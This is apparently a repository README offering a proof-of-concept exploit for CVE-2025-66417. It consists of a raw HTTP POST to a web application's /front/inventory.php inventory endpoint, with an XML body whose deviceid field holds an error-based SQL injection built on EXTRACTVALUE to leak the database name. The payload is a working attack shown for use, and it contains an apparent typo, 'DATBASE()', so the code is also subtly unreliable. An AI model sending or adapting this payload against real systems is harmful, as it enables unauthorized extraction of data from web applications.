lem0naids/cve-2025-66417-pocProof-of-concept exploit for CVE-2025-66417 demonstrating SQL injection via XML POST request to extract database information from a web application inventory endpoint.
POC CVE-2025-66417
POST /front/inventory.php HTTP/1.1
Host: <>
Accept-Encoding: gzip, deflate, br
Accept: text/html
Connection: keep-alive
Content-Type: text/xml
Content-Length: 429
<?xml version="1.0" encoding="UTF-8"?>
<xml>
<QUERY>get_params</QUERY>
<deviceid><![CDATA[' AND EXTRACTVALUE(
1,
CONCAT(
0x7e,
IFNULL(
(SELECT DATBASE()),
'NONE'
),
0x7e
)
)-- -]]></deviceid>
<content></content>
</xml>